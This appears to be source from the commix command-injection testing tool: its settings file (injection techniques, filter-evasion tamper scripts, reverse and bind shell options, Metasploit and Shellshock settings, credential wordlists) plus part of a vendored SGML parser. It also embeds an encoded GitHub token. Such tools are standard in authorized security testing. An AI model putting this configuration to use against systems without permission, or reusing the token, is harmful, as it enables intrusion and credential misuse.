RESULTS_BASED_CI = "results-based OS command injection"
RESULTS_BASED_CE = "results-based dynamic code evaluation"
BLIND = "blind OS command injection"
SEMI_BLIND = "semi-blind OS command injection"
# Supported injection techniques
class INJECTION_TECHNIQUE(object):
CLASSIC = "classic command injection technique"
DYNAMIC_CODE = "dynamic code evaluation technique"
TIME_BASED = "time-based command injection technique"
FILE_BASED = "file-based command injection technique"
TEMP_FILE_BASED = "tempfile-based injection technique"
USER_APPLIED_TECHNIQUE = False
SKIP_TECHNIQUES = False
# User Agent List
USER_AGENT_LIST = [
# Opera
"Opera/8.0 (X11; Linux i686; U; en)",
"Opera/9.01 (X11; FreeBSD 6 i386; U; en)"
"Opera/8.51 (FreeBSD 5.1; U; en)",
"Opera/8.51 (Macintosh; PPC Mac OS X; U; de)",
"Opera/9.00 (Macintosh; PPC Mac OS X; U; es)",
"Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
# Mozilla Firefox
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20131331 Firefox/31.0",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13 (.NET CLR 3.0.04506.31)",
"Mozilla/5.0 (X11; Linux i686; rv:21.0) Gecko/20100101 Firefox/21.0",
"Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.31; .NET CLR 3.0.04506.648)",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
"Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0",
"Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6",
"Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090315 Firefox/3.1b3",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20131401 Firefox/31.0",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.34 (KHTML, like Gecko) Dooble/1.40 Safari/534.34",
# Oldies
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)",
"mozilla/3.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/5.0.1",
]
# Mobile User Agents
MOBILE_USER_AGENT_LIST = [
"Mozilla/5.0 (BB10; Kbd) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.3.2205 Mobile Safari/537.35+",
"Mozilla/5.0 (Linux; Android 7.0; SM-G931V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3171.125 Mobile Safari/537.36",
"Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6310)",
"Mozilla/5.0 (Linux; Android 8.0.0; HTC 10 Build/OPR1.170623.027) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 4.4.4; HUAWEI H891L Build/HuaweiH891L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/33.0.0.0 Mobile Safari/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1",
"Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; Lumia 950) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Mobile Safari/537.36 Edge/15.14977",
"Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19",
"Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344",
"Mozilla/5.0 (Linux; Android 8.0.0; Pixel Build/OPR3.170623.013) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; U; Android 4.4.4; en-gb; MI 3W Build/KTU84P) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Mobile Safari/537.36 XiaoMi/MiuiBrowser/2.1.1",
]
# Default Scheme
SCHEME = ""
# TOR HTTP Proxy
TOR_HTTP_PROXY_IP = "127.0.0.1"
TOR_HTTP_PROXY_PORT = "8118"
TOR_HTTP_PROXY_SCHEME = "https"
CHECK_TOR_PAGE = "https://check.torproject.org/"
# Cookie injection
COOKIE_INJECTION = None
HTTP_HEADERS_INJECTION = None
# User-Agent injection
USER_AGENT_INJECTION = None
# Referer injection
REFERER_INJECTION = None
# Host injection
HOST_INJECTION = None
# Custom HTTP Headers injection
CUSTOM_HEADER_INJECTION = False
CUSTOM_HEADERS_NAMES = []
CUSTOM_HEADER_CHECK = ""
CUSTOM_HEADER_NAME = ""
CUSTOM_HEADER_VALUE = ""
# Valid URL format check
VALID_URL_FORMAT = r"https?://(?:www)?(?:[\w-]{2,255}(?:\.\w{2,6}){1,2})(?:/[\w&%?#-]{1,310})?"
VALID_URL = True
# Accepted shell menu options
SHELL_OPTIONS = [
"?",
"quit",
"exit",
"back",
"os_shell",
"reverse_tcp",
"bind_tcp",
"set",
]
# Accepted reverse tcp shell menu options
SET_OPTIONS = [
"LHOST",
"RHOST",
"LPORT",
"SRVPORT",
"URIPATH",
]
# Cookie delimiter
COOKIE_DELIMITER = ";"
# Split parameter value
PARAMETER_SPLITTING_REGEX = ","
# Cookie delimiter
PARAMETER_DELIMITER = "&"
DEFAULT_CODEC = "utf8"
# Reference: http://en.wikipedia.org/wiki/ISO/IEC_8859-1
DEFAULT_PAGE_ENCODING = "iso-8859-1"
try:
codecs.lookup(DEFAULT_PAGE_ENCODING)
except LookupError:
DEFAULT_PAGE_ENCODING = DEFAULT_CODEC
# Character Sets List.
# A complete list of the standard encodings Python supports.
ENCODING_LIST = [
"iso-8859-1",
"ascii",
"big5",
"big5hkscs",
"cp037",
"cp424",
"cp437",
"cp500",
"cp720",
"cp737",
"cp775",
"cp850",
"cp852",
"cp855",
"cp856",
"cp857",
"cp858",
"cp860",
"cp861",
"cp862",
"cp863",
"cp864",
"cp865",
"cp866",
"cp869",
"cp874",
"cp875",
"cp932",
"cp949",
"cp950",
"cp1006",
"cp1026",
"cp1140",
"cp1250",
"cp1251",
"cp1252",
"cp1253",
"cp1254",
"cp1255",
"cp1256",
"cp1257",
"cp1258",
"euc-jp",
"euc-jis-2004",
"euc-jisx0213",
"euc-kr",
"gb2312",
"gbk",
"gb18031",
"hz",
"iso2022-jp",
"iso2022-jp-1",
"iso2022-jp-2",
"iso2022-jp-2004",
"iso2022-jp-3",
"iso2022-jp-ext",
"iso2022-kr",
"latin-1",
"iso8859-2",
"iso8859-3",
"iso8859-4",
"iso8859-5",
"iso8859-6",
"iso8859-7",
"iso8859-8",
"iso8859-9",
"iso8859-10",
"iso8859-13",
"iso8859-14",
"iso8859-15",
"iso8859-16",
"johab",
"koi8-r",
"koi8-u",
"mac-cyrillic",
"mac-greek",
"mac-iceland",
"mac-latin2",
"mac-roman",
"mac-turkish",
"ptcp154",
"shift-jis",
"shift-jis-2004",
"shift-jisx0213",
"utf-32",
"utf-32-be",
"utf-32-le",
"utf-16",
"utf-16-be",
"utf-16-le",
"utf-7",
"utf-8",
"utf-8-sig"
]
HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip, deflate"
HTTP_CONTENT_TYPE_JSON_HEADER_VALUE = "application/json"
HTTP_CONTENT_TYPE_XML_HEADER_VALUE = "text/xml"
DEFAULT_HTTP_CONTENT_TYPE_VALUE = "application/x-www-form-urlencoded"
# Default server banner
SERVER_BANNER = ""
# Server banners list
SERVER_BANNERS = [
"Microsoft-IIS",
"Apache",
r"Nginx/([\w\.]+)",
r"GWS/([\w\.]+)",
r"lighttpd/([\w\.]+)",
r"openresty/([\w\.]+)",
r"LiteSpeed/([\w\.]+)",
r"Sun-ONE-Web-Server/([\w\.]+)"
]
# Server banners list
SERVER_OS_BANNERS = [
r"(Microsoft|Windows|Win[\w\.]+)",
"Debian",
"Ubuntu",
"Fedora",
"CentOS",
"FreeBSD",
"NetBSD",
"OpenBSD",
"Slackware",
"SuSE",
"Mandrake",
"Gentoo",
r"Mac[\-\_\ ]?OSX",
r"Red[\-\_\ ]?Hat",
"Unix",
]
# Extensions skipped by crawler
CRAWL_EXCLUDE_EXTENSIONS = [
"3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar",
"asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb",
"djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf",
"ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac",
"fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa",
"iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar",
"mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu",
"nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps",
"ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m",
"s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff",
"tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba",
"webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi",
"xpm", "xwd", "xz", "z", "zip", "zipx"
]
TARGET_APPLICATION = ""
# Unsupported target application(s) [1]
# [1] https://github.com/commixproject/commix/wiki/Target-applications
UNSUPPORTED_TARGET_APPLICATION = [
""
]
REVERSE_TCP = False
BIND_TCP = False
# Injection logs report
SHOW_LOGS_MSG = False
# Enumeration options
ENUMERATION_DONE = False
ENUMERATE_AGAIN = False
# FIle access options
FILE_ACCESS_DONE = False
FILE_ACCESS_AGAIN = False
# XML Data
IS_XML = False
# Regular expression for XML POST data
XML_RECOGNITION_REGEX = r'(?s)\A\s*<[^>]+>(.+>)?\s*\Z'
# JSON Data
IS_JSON = False
# Infixes used for automatic recognition of parameters carrying anti-CSRF tokens
CSRF_TOKEN_PARAMETER_INFIXES = ("csrf", "xsrf", "token")
# Regular expression used for detecting JSON POST data
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
# Regular expression used for detecting JSON-like POST data
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
# Base64 format recognition
BASE64_RECOGNITION_REGEX = r'^[A-Za-z0-9+/]+[=]{0,2}$'
# Hex encoded characters recognition
HEX_RECOGNITION_REGEX = r'^(0[xX])?[0-9a-fA-F]+$'
# GET parameters recognition
GET_PARAMETERS_REGEX = r"(.*?)\?(.+)"
DIRECTORY_REGEX = r'(?:/[^/]+)+?/\w+\.\w+'
# TFB Decimal
TFB_DECIMAL = False
# Ignore Error Message
IGNORE_ERR_MSG = False
# Windows PHP installed directory.
WIN_PHP_DIR = "C:\\xampp\\php\\php.exe"
USER_DEFINED_PHP_DIR = False
# Comment out
WIN_COMMENT = "REM"
COMMENT = "#"
#Delete command
WIN_DEL = "powershell.exe Remove-Item "
DEL = "rm "
# Time-based Variables
FOUND_EXEC_TIME = ""
FOUND_DIFF = ""
# Check for PowerShell
PS_ENABLED = None
# ANSI colors removal
ANSI_COLOR_REMOVAL = r'\x1b[^m]*m'
# Default LHOST / LPORT / RHOST setup,
# for the reverse TCP connection
LHOST = ""
LPORT = ""
# for the bind TCP connection
RHOST = ""
# Default settings (web_delivery).
URIPATH = "/"
SRVPORT = 8080
# Session Handler
SESSION_FILE = ""
LOAD_SESSION = None
# Define the default credentials files
USERNAMES_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_usernames.txt"
PASSWORDS_TXT_FILE = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "default_passwords.txt"
REQUIRED_AUTHENTICATION = False
INJECTED_HTTP_HEADER = False
INJECTION_CHECKER = False
# List of pages / scripts potentially vulnerable to Shellshock
CGI_SCRIPTS = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'txt')) + "/" + "shocker-cgi_list.txt"
# Metasploit Framework Path
METASPLOIT_PATH = "/usr/share/metasploit-framework/"
# Supported HTTP Authentication types
class AUTH_TYPE(object):
BASIC = "basic"
DIGEST = "digest"
BEARER = "bearer"
RAW_HTTP_HEADERS = ""
USER_APPLIED_TAMPER = ""
# Tamper scripts dict
TAMPER_SCRIPTS = {
"space2ifs": False,
"base64encode": False,
"hexencode": False,
"space2plus": False,
"space2htab": False,
"space2vtab": False,
"doublequotes": False,
"singlequotes": False,
"caret": False,
"multiplespaces": False,
"backslashes": False,
"nested": False,
"sleep2usleep": False,
"sleep2timeout": False,
"xforwardedfor": False,
"dollaratsigns": False,
"printf2echo": False,
"uninitializedvariable": False,
"slash2env":False,
"backticks":False,
"rev":False
}
UNIX_NOT_SUPPORTED_TAMPER_SCRIPTS = [
"caret",
"space2vtab"
]
WIN_NOT_SUPPORTED_TAMPER_SCRIPTS = [
"backslashes"
"dollaratsigns",
"backticks",
"nested",
"singlequotes",
"slash2env",
"sleep2usleep",
"printf2echo",
"space2ifs",
"uninitializedvariable",
"rev"
]
EVAL_NOT_SUPPORTED_TAMPER_SCRIPTS = [
"backslashes"
"caret",
"dollaratsigns",
"doublequotes",
"nested",
"singlequotes",
"slash2env",
"printf2echo",
"uninitializedvariable"
]
IGNORE_TAMPER_TRANSFORMATION = [
"IFS",
"if",
"then",
"else",
"fi",
"str",
"cmd",
"char"
]
# HTTP Errors
BAD_REQUEST = "400"
UNAUTHORIZED_ERROR = "401"
FORBIDDEN_ERROR = "403"
NOT_FOUND_ERROR = "404"
NOT_ALLOWED = "405"
NOT_ACCEPTABLE_ERROR = "406"
INTERNAL_SERVER_ERROR = "500"
NOT_IMPLEMENTED = "501"
BAD_GATEWAY = "502"
SERVICE_UNAVAILABLE = "503"
GATEWAY_TIMEOUT = "504"
HTTP_ERROR_CODES = [ BAD_REQUEST,
UNAUTHORIZED_ERROR,
FORBIDDEN_ERROR,
NOT_FOUND_ERROR,
NOT_ALLOWED,
NOT_ACCEPTABLE_ERROR,
INTERNAL_SERVER_ERROR,
NOT_IMPLEMENTED,
BAD_GATEWAY,
SERVICE_UNAVAILABLE,
GATEWAY_TIMEOUT
]
HTTP_ERROR_CODES_SUM = []
# End line
class END_LINE:
CR = "\r"
LF = "\n"
CRLF = "\r\n"
# List of end lines
END_LINES_LIST = [attr for attr in dir(END_LINE) if not callable(getattr(END_LINE, attr)) and not attr.startswith("__")]
# Check for updates on start up.
CHECK_FOR_UPDATES_ON_START = True
# Skip the mathematic calculation (Detection Phase)
SKIP_CALC = False
USE_BACKTICKS = False
METASPLOIT_ERROR_MSG = "You need to have Metasploit installed. "
METASPLOIT_ERROR_MSG += "Please ensure Metasploit is installed in the right path."
# Target URL reload
URL_RELOAD = False
# Command history
CLI_HISTORY = ""
# Check for multi encoded payloads
MULTI_ENCODED_PAYLOAD = []
# Default Timeout (Seconds to wait before timeout connection)
TIMEOUT = 30
# Retries when the connection timeouts (Default: 3).
MAX_RETRIES = 3
# End of file
EOF = False
# Init Test
INIT_TEST = ""
# Check Tor again
TOR_CHECK_AGAIN = True
# URL for checking internet connection.
CHECK_INTERNET_ADDRESS = "http://ipinfo.io"
# Check internet connection.
CHECK_INTERNET = False
UNAUTHORIZED = False
# Multiple OS checks
CHECK_BOTH_OS = False
OS_CHECKS_NUM = 2
# Options to explicitly mask in anonymous (unhandled exception) reports.
SENSITIVE_OPTIONS = ["--data", "-d", "--cookie", "-p", "--url", "-u", "-x", "--auth-cred", "-r", "-l"]
# Github OAuth token used for creating an automatic issue for unhandled exceptions.
GITHUB_REPORT_OAUTH_TOKEN = "YjNiYjdhZDBlYzM2MmM2NGEzYTAzZTc4ZDg1NmYwZTUyZGZlN2EyZQ=="
# Tranform payloads (via tamper script(s))
TRANFROM_PAYLOAD = None
CAPTCHA_DETECED = None
BROWSER_VERIFICATION = None
# Regular expression used for recognition of generic "your ip has been blocked" messages.
BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)"
# Prefix for Google analytics cookie names
GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM"
# Default path for tamper scripts
TAMPER_SCRIPTS_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), '../',"core/tamper/")) + "/"
# Default path for settings.py file
SETTINGS_PATH = os.path.abspath("src/utils/settings.py")
# Period after last-update to start nagging (about the old revision).
NAGGING_DAYS = 31
TARGET_URL = ""
DOC_ROOT_TARGET_MARK = "%TARGET%"
WINDOWS_DEFAULT_DOC_ROOTS = ["C:\\\\Inetpub\\wwwroot\\", "C:\\\\Inetpub\\wwwroot\\", "C:\\\\xampp\\htdocs\\", "C:\\\\wamp\\www\\"]
LINUX_DEFAULT_DOC_ROOTS = ["/var/www/" + DOC_ROOT_TARGET_MARK + "/public_html/", "/var/www/" + DOC_ROOT_TARGET_MARK + "/", "/usr/local/apache2/htdocs/", "/usr/local/www/data/", "/usr/share/nginx/", "/var/apache2/htdocs/", "/var/www/nginx-default/", "/srv/www/htdocs/"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False
# HTTP Headers
COOKIE = "Cookie"
HOST = "Host"
USER_AGENT = "User-Agent"
REFERER = "Referer"
ACCEPT = "Accept"
ACCEPT_CHARSET = "Accept-Charset"
ACCEPT_ENCODING = "Accept-Encoding"
ACCEPT_LANGUAGE = "Accept-Language"
AUTHORIZATION = "Authorization"
CACHE_CONTROL = "Cache-Control"
CONNECTION = "Connection"
CONTENT_ENCODING = "Content-Encoding"
CONTENT_LENGTH = "Content-Length"
CONTENT_RANGE = "Content-Range"
CONTENT_TYPE = "Content-Type"
EXPIRES = "Expires"
IF_MODIFIED_SINCE = "If-Modified-Since"
IF_NONE_MATCH = "If-None-Match"
LAST_MODIFIED = "Last-Modified"
LOCATION = "Location"
PRAGMA = "Pragma"
PROXY_AUTHORIZATION = "Proxy-Authorization"
PROXY_CONNECTION = "Proxy-Connection"
RANGE = "Range"
REFERER = "Referer"
REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794
SERVER = "Server"
SET_COOKIE = "Set-Cookie"
TRANSFER_ENCODING = "Transfer-Encoding"
VIA = "Via"
X_POWERED_BY = "X-Powered-By"
X_DATA_ORIGIN = "X-Data-Origin"
# HTTP Headers values
ACCEPT_VALUE = "*/*"
# HTTP Headers
HTTP_HEADERS = [ USER_AGENT.lower(), REFERER.lower(), HOST.lower() ]
SHELLSHOCK_HTTP_HEADERS =[ COOKIE, USER_AGENT, REFERER ]
# Regular expression used for ignoring some special chars
IGNORE_SPECIAL_CHAR_REGEX = "[^/()A-Za-z0-9.:,_+]"
IGNORE_JSON_CHAR_REGEX = r"[{}\"\[\]]"
FLATTEN_JSON_SEPARATOR = ''.join(random.choice("{}") for _ in range(10)) + "_"
PERFORM_CRACKING = False
PAGE_COMPRESSION = None
# Force usage of given HTTP method (e.g. PUT).
HTTP_METHOD = ""
DECLARED_COOKIES = ""
MULTI_TARGETS = False
# Identified Redirect code
REDIRECT_CODE = ""
# Base64 padding
BASE64_PADDING = "=="
# Crawling phase
CRAWLING = CRAWLING_PHASE = False
CRAWLED_SKIPPED_URLS_NUM = 0
CRAWLED_URLS_NUM = 0
CRAWLED_URLS_INJECTED = []
SKIP_VULNERABLE_HOST = None
# Skipped crawled hrefs
HREF_SKIPPED = []
# Abort on (problematic) HTTP error code (e.g. 401).
ABORT_CODE = []
# Ignore on (problematic) HTTP error code (e.g. 401).
IGNORE_CODE = []
# Default crawling depth
DEFAULT_CRAWLING_DEPTH = 1
SITEMAP_CHECK = None
SITEMAP_XML_FILE = "sitemap.xml"
FOLLOW_REDIRECT = True
# Set predefined answers (e.g. "quit=N,follow=N").
ANSWERS = ""
CHECKING_PARAMETER = ""
# Run host OS command(s) when injection point is found.
ALERT = False
USE_PCRE_E_MODIFIER = None
PCRE_MODIFIER = "/e"
# eof
commix-4.0/src/utils/sgmllib.py 0000664 0000000 0000000 00000043543 14731205621 0016615 0 ustar 00root root 0000000 0000000 """A parser for SGML, using the derived class as a static DTD."""
# Note: missing in Python3
# XXX This only supports those SGML features used by HTML.
# XXX There should be a way to distinguish between PCDATA (parsed
# character data -- the normal case), RCDATA (replaceable character
# data -- only char and entity references and end tags are special)
# and CDATA (character data -- only end tags are special). RCDATA is
# not supported at all.
from __future__ import print_function
try:
import _markupbase as markupbase
except:
import markupbase
import re
__all__ = ["SGMLParser", "SGMLParseError"]
# Regular expressions used for parsing
interesting = re.compile('[&<]')
incomplete = re.compile('&([a-zA-Z][a-zA-Z0-9]*|#[0-9]*)?|'
'<([a-zA-Z][^<>]*|'
'/([a-zA-Z][^<>]*)?|'
'![^<>]*)?')
entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]')
charref = re.compile('&#([0-9]+)[^0-9]')
starttagopen = re.compile('<[>a-zA-Z]')
shorttagopen = re.compile('<[a-zA-Z][-.a-zA-Z0-9]*/')
shorttag = re.compile('<([a-zA-Z][-.a-zA-Z0-9]*)/([^/]*)/')
piclose = re.compile('>')
endbracket = re.compile('[<>]')
tagfind = re.compile('[a-zA-Z][-_.a-zA-Z0-9]*')
attrfind = re.compile(
r'\s*([a-zA-Z_][-:.a-zA-Z_0-9]*)(\s*=\s*'
r'(\'[^\']*\'|"[^"]*"|[][\-a-zA-Z0-9./,:;+*%?!&$\(\)_#=~\'"@]*))?')
class SGMLParseError(RuntimeError):
"""Exception raised for all parse errors."""
pass
# SGML parser base class -- find tags and call handler functions.
# Usage: p = SGMLParser(); p.feed(data); ...; p.close().
# The dtd is defined by deriving a class which defines methods
# with special names to handle tags: start_foo and end_foo to handle
# <foo> and </foo>, respectively, or do_foo to handle <foo> by itself.
# (Tags are converted to lower case for this purpose.) The data
# between tags is passed to the parser by calling self.handle_data()
# with some data as argument (the data may be split up in arbitrary
# chunks). Entity references are passed by calling
# self.handle_entityref() with the entity reference as argument.
class SGMLParser(markupbase.ParserBase):
# Definition of entities -- derived classes may override
entity_or_charref = re.compile('&(?:'
'([a-zA-Z][-.a-zA-Z0-9]*)|#([0-9]+)'
')(;?)')
def __init__(self, verbose=0):
"""Initialize and reset this instance."""
self.verbose = verbose
self.reset()
def reset(self):
"""Reset this instance. Loses all unprocessed data."""
self.__starttag_text = None
self.rawdata = ''
self.stack = []
self.lasttag = '???'
self.nomoretags = 0
self.literal = 0
markupbase.ParserBase.reset(self)
def setnomoretags(self):
"""Enter literal mode (CDATA) till EOF.
Intended for derived classes only.
"""
self.nomoretags = self.literal = 1
def setliteral(self, *args):
"""Enter literal mode (CDATA).
Intended for derived classes only.
"""
self.literal = 1
def feed(self, data):
"""Feed some data to the parser.
Call this as often as you want, with as little or as much text
as you want (may include '\n'). (This just saves the text,
all the processing is done by goahead().)
"""
self.rawdata = self.rawdata + data
self.goahead(0)
def close(self):
"""Handle the remaining data."""
self.goahead(1)
def error(self, message):
raise SGMLParseError(message)
# Internal -- handle data as far as reasonable. May leave state
# and data to be processed by a subsequent call. If 'end' is
# true, force handling all data as if followed by EOF marker.
def goahead(self, end):
rawdata = self.rawdata
i = 0
n = len(rawdata)
while i < n:
if self.nomoretags:
self.handle_data(rawdata[i:n])
i = n
break
match = interesting.search(rawdata, i)
if match:
j = match.start()
else:
j = n
if i < j:
self.handle_data(rawdata[i:j])
i = j
if i == n:
break
if rawdata[i] == '<':
if starttagopen.match(rawdata, i):
if self.literal:
self.handle_data(rawdata[i])
i = i + 1
continue
k = self.parse_starttag(i)
if k < 0:
break
i = k
continue
if rawdata.startswith("</", i):
k = self.parse_endtag(i)
if k < 0:
break
i = k
self.literal = 0
continue
if self.literal:
if n > (i + 1):
self.handle_data("<")
i = i + 1
else:
# incomplete
break
continue
if rawdata.startswith("<!--", i):
# Strictly speaking, a comment is --.*--
# within a declaration tag <!...>.
# This should be removed,
# and comments handled only in parse_declaration.
k = self.parse_comment(i)
if k < 0:
break
i = k
continue
if rawdata.startswith("<?", i):
k = self.parse_pi(i)
if k < 0:
break
i = i + k
continue
if rawdata.startswith("<!", i):
# This is some sort of declaration; in "HTML as
# deployed," this should only be the document type
# declaration ("<!DOCTYPE html...>").
k = self.parse_declaration(i)
if k < 0:
break
i = k
continue
elif rawdata[i] == '&':
if self.literal:
self.handle_data(rawdata[i])
i = i + 1
continue
match = charref.match(rawdata, i)
if match:
name = match.group(1)
self.handle_charref(name)
i = match.end(0)
if rawdata[i - 1] != ';':
i = i - 1
continue
match = entityref.match(rawdata, i)
if match:
name = match.group(1)
self.handle_entityref(name)
i = match.end(0)
if rawdata[i - 1] != ';':
i = i - 1
continue
else:
self.error('neither < nor & ??')
# We get here only if incomplete matches but
# nothing else
match = incomplete.match(rawdata, i)
if not match:
self.handle_data(rawdata[i])
i = i + 1
continue
j = match.end(0)
if j == n:
break # Really incomplete
self.handle_data(rawdata[i:j])
i = j
# end while
if end and i < n:
self.handle_data(rawdata[i:n])
i = n
self.rawdata = rawdata[i:]
# XXX if end: check for empty stack
# Extensions for the DOCTYPE scanner:
_decl_otherchars = '='
# Internal -- parse processing instr, return length or -1 if not terminated
def parse_pi(self, i):
rawdata = self.rawdata
if rawdata[i:i + 2] != '<?':
self.error('unexpected call to parse_pi()')
match = piclose.search(rawdata, i + 2)
if not match:
return -1
j = match.start(0)
self.handle_pi(rawdata[i + 2: j])
j = match.end(0)
return j - i
def get_starttag_text(self):
return self.__starttag_text
# Internal -- handle starttag, return length or -1 if not terminated
def parse_starttag(self, i):
self.__starttag_text = None
start_pos = i
rawdata = self.rawdata
if shorttagopen.match(rawdata, i):
# SGML shorthand: <tag/data/ == <tag>data</tag>
# XXX Can data contain &... (entity or char refs)?
# XXX Can data contain < or > (tag characters)?
# XXX Can there be whitespace before the first /?
match = shorttag.match(rawdata, i)
if not match:
return -1
tag, data = match.group(1, 2)
self.__starttag_text = '<%s/' % tag
tag = tag.lower()
k = match.end(0)
self.finish_shorttag(tag, data)
self.__starttag_text = rawdata[start_pos:match.end(1) + 1]
return k
# XXX The following should skip matching quotes (' or ")
# As a shortcut way to exit, this isn't so bad, but shouldn't
# be used to locate the actual end of the start tag since the
# < or > characters may be embedded in an attribute value.
match = endbracket.search(rawdata, i + 1)
if not match:
return -1
j = match.start(0)
# Now parse the data between i + 1 and j into a tag and attrs
attrs = []
if rawdata[i:i + 2] == '<>':
# SGML shorthand: <> == <last open tag seen>
k = j
tag = self.lasttag
else:
match = tagfind.match(rawdata, i + 1)
if not match:
self.error('unexpected call to parse_starttag')
k = match.end(0)
tag = rawdata[i + 1:k].lower()
self.lasttag = tag
while k < j:
match = attrfind.match(rawdata, k)
if not match:
break
attrname, rest, attrvalue = match.group(1, 2, 3)
if not rest:
attrvalue = attrname
else:
if (attrvalue[:1] == "'" == attrvalue[-1:] or
attrvalue[:1] == '"' == attrvalue[-1:]):
# strip quotes
attrvalue = attrvalue[1:-1]
attrvalue = self.entity_or_charref.sub(
self._convert_ref, attrvalue)
attrs.append((attrname.lower(), attrvalue))
k = match.end(0)
if rawdata[j] == '>':
j = j + 1
self.__starttag_text = rawdata[start_pos:j]
self.finish_starttag(tag, attrs)
return j
# Internal -- convert entity or character reference
def _convert_ref(self, match):
if match.group(2):
return self.convert_charref(match.group(2)) or \
'&#%s%s' % match.groups()[1:]
elif match.group(3):
return self.convert_entityref(match.group(1)) or \
'&%s;' % match.group(1)
else:
return '&%s' % match.group(1)
# Internal -- parse endtag
def parse_endtag(self, i):
rawdata = self.rawdata
match = endbracket.search(rawdata, i + 1)
if not match:
return -1
